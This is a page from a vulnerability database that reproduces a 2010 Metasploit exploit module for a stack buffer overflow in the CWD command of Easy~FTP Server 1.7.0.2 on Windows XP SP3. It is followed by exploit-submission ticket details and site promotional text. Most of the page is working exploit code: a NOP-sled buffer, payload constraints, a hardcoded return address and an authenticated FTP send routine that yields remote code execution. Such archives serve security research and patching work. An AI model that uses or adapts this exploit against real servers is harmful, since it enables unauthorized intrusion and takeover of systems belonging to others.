Lucene search
K

Easy~FTP Server v1.7.0.2 CWD Command Buffer Overflow

🗓️ 09 Mar 2010 00:00:00Reported by BlakeType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 15 Views

Easy~FTP Server v1.7.0.2 CWD Command Buffer Overflow in Windows XP SP

Code
`New Ticket: Easy~FTP BoF (meta)  
  
# Exploit Title: Easy~FTP  
# Date: March 9, 2010  
# Author: Blake  
# Version: 1.7.0.2  
# Tested on: Windows XP SP3  
# CVE :  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Easy~FTP Server v1.7.0.2 CWD Command Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the CWD verb in Easy~FTP Server.  
  
You must have valid credentials to trigger this vulnerability.  
},  
'Author' => 'Blake',  
'License' => MSF_LICENSE,  
'Version' => 'version 1',  
'References' =>  
[  
[ 'CVE', ''],  
[ 'OSVDB', ''],  
[ 'EDB-ID', '11539'],  
[ 'URL', 'http://www.exploit-db.com/exploits/11539' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 268,  
'BadChars' => "\x00\x20\x0a\x0d\x2f\x5c",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
  
[ 'Windows XP SP3 English', { 'Ret' => 0x009AFD58 } ],  
  
],  
'DisclosureDate' => 'February 15, 2010',  
'DefaultTarget' => 0))  
end  
  
  
def exploit  
connect_login  
  
sploit = "\x90" * (268 - payload.encoded.length)  
sploit << payload.encoded  
sploit << [target.ret].pack('V')  
  
print_status("Trying target #{target.name<http://target.name>}...")  
  
send_cmd( ['CWD', sploit] , false)  
  
handler  
disconnect  
end  
  
end  
  
  
  
Ticket Details  
===================  
Ticket ID: OCE-490401  
Department: Exploits  
Priority: Medium  
Status: Open  
Link: http://ph33rus.offsec.com/3874623487438734587634/staff/index.php?_m=tickets&_a=viewticket&ticketid=2543  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation